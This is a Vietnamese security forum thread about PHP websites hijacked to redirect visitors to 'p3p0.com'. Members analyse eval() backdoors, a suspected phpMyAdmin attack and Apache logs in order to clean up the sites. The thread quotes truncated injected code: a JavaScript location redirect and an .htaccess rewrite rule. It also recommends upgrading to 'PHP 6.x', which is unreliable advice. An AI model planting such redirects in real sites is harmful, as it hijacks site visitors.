Để sever thực sự đứng vững trước các đợt attack này xong, tôi sẽ post rõ ràng các log file, tình trạng cũng như cách khắc phục cho anh em ngâm cứu.

[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 10/12/2010 03:47:41 (+0700) | #16 | 226762
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

KenshinIT wrote:

conmale wrote:



Đoạn màu đỏ khá phi lý. Nếu trên trang web ấy chỉ tồn tại có mỗi index.php thì tất cả những request không đến index.php bắt buộc phải có HTTP 404 error (not found). Ví dụ, request đến /howwework-open.php phải có status là 404. 


Rất chính xác. Có rất nhiều là đằng khác, tại tôi chỉ point out 1 vài log mà mình muốn focus cho anh em thôi.

Nói chung là nó chơi kiểu wide attack, dò và adapt 1-2 đoạn script vào tất cả các file php mà 1 trang web thông thường sẽ có, nào là index.php, main.php, common.php, phpMyadmin/scripts/setup.php, includes/post.php, etc....

Để sever thực sự đứng vững trước các đợt attack này xong, tôi sẽ post rõ ràng các log file, tình trạng cũng như cách khắc phục cho anh em ngâm cứu.

 


Nhưng bồ point out vài logs và đưa ra scenario không hợp lý. Bồ đưa ra logs với các POST requests đến các php files có HTTP status là 200 và đồng thời lại khẳng định là bồ đã xoá hết chỉ để lại mỗi index.php. Xét về mặt kỹ thuật, đây là điều không thể xảy ra. Xét về mặt lý luận và phân tích, bồ đưa logs của trường hợp này vào trường hợp kia như vậy chỉ làm rối rắm thêm mà thôi. Nó không phải để focus mà theo tôi, đó chỉ tạo ngộ nhận và phức tạp hoá vấn đề.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Discussion]   Vấn đề Hijacking &quot;p3p0.com&quot; cho website php 10/12/2010 10:43:20 (+0700) | #17 | 226777
[Avatar]
KenshinIT
Member

[Minus]    0    [Plus]
Joined: 16/06/2008 18:37:24
Messages: 71
Offline
[Profile] [PM]

conmale wrote:

Bồ đưa ra logs với các POST requests đến các php files có HTTP status là 200 và đồng thời lại khẳng định là bồ đã xoá hết chỉ để lại mỗi index.php. Xét về mặt kỹ thuật, đây là điều không thể xảy ra. Xét về mặt lý luận và phân tích, bồ đưa logs của trường hợp này vào trường hợp kia như vậy chỉ làm rối rắm thêm mà thôi. Nó không phải để focus mà theo tôi, đó chỉ tạo ngộ nhận và phức tạp hoá vấn đề. 


Sorry nếu vô tình gây rối rắm cho anh em.

Để tôi giải thích lại cho rõ ràng để anh em và bro commale hiểu nhé.

1. Đầu tiên, các website sử dụng Framework của Joomla, Drupal, Wordpress sẽ bị 1 đợt reconnaissance (cũng có thể gọi là attack, nhưng vì tôi thấy những đợt sau nghiêm trọng hơn nên mình nghĩ nó chỉ là 1 đợt thăm dò thôi). Các website này sẽ truy cập direct được bình thường, nhưng sẽ bị wwwect đến trang p3p0.com khi truy cập từ kết quả search của Google, Ping, YH,....

Sau khi xoá các đoạn code bắt đầu bằng "eval(" thì web trở lại bình thường.

2. Chưa đầy 1 tuần thì website bị sập. Xoá hết, tạo mới 1 file index.php để thông báo web đang maintained thì vẫn sập. Vào xem thì thấy file index bị "tiêm" 1 đoạn code lạ, khác với code của đợt 1.

Code:
<script type='text Javascript'>document.location.href='http://.....


Vào xem log của Apache thì thấy rất nhiều Http post đến các file php khác , cụ thể như sau: common.php, main.php, phpMyadmin/scripts/setup.php, /mysql/, /mysql/db/. và dĩ nhiên là post này bị failed

Restore lại backup gần nhất, xoá và cài lại bộ Apache-MySQL-PHP, fix 1 vài chỗ, thì tạm ổn.

3. Đang chờ xem tình hình thế nào, sau vài ngày thì vẫn đang ổn. Vào thăm logs của Apache thì thấy những logs thông báo có người đang cố gắng http post vào các file php như cũ, không thấy thay đổi gì lạ trong nội dung những file ấy nhưng http post status là 200 ( điều này hiển nhiên như bro commale nói, vì nó đang available mà smilie )


Tôi đưa đoạn logs đó lên chắc làm nhầm với trường hợp 2, sorry.

HIện giờ chưa dàm khẳng định gì nhiều, chỉ dám nói nêu ra vài điều sau:
+ Trường hợp 1 thì được đặt tên chung là "p3p0 hijacking". Giải pháp là xoá đoạn code "eval" trong các file php, đa số sẽ nằm trong includes/defines.php, common.php, index.php, etc.. Sau đó xoá ngay back door là file "/includes/post.php"

+ Trường hợp 2, có vẻ như là 1 vulnerability của phpMyadmin, một số người sử dụng 1 phpMyAdmin kèm theo Apache-MySQL-PHP thì sẽ bị, nó sẽ tấn công thông qua setup.php nằm trong phpMyadmin/scripts/setup và 1 số file khác. Và nó sẽ tự tạo file .httpaccess với nội dung
Code:
RewriteEngine On
 RewriteBase /
 RewriteRule ^(.*)? http://...


Giải pháp là restore lại clean backup gần nhất, xoá hẳn nguyên thư mục phpMyadmin đi (cái này sẽ khó khăn cho những ai làm việc với MySQL bằng GUI). Nếu được thì nên cài PHP 6.x thay cho 5.x.


Nếu có gì thắc mác hay cần logs cụ thể thì anh em cứa request nhé. Commale còn gì thắc mắc nữa hem smilie Sorry, câu cú và cách trình bày hơi lộn xộn. Chủ yếu muốn đóng góp và share kinh nghiệm cho anh em thôi. smilie


P/S: Cái này ngoài lề tí, sao dạo này Hva không sôi nổi như hồi trước nữa nhỉ. Tiếc là tôi không biết sớm về đợt tuyển Mod, hem là cũng thi rồi smilie Tôi có 1 ý này hy vọng giúp Hva sôi động lại như ngày trước. Chúng ta sẽ tổ chức cuộc thi hàng tháng, hàng quý. Thể thức thì các Mod quyết định nhé. Nếu được mình xin làm sponsors , không nhiều nhưng hy vọng là đủ để lên tinh thần cho anh em.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|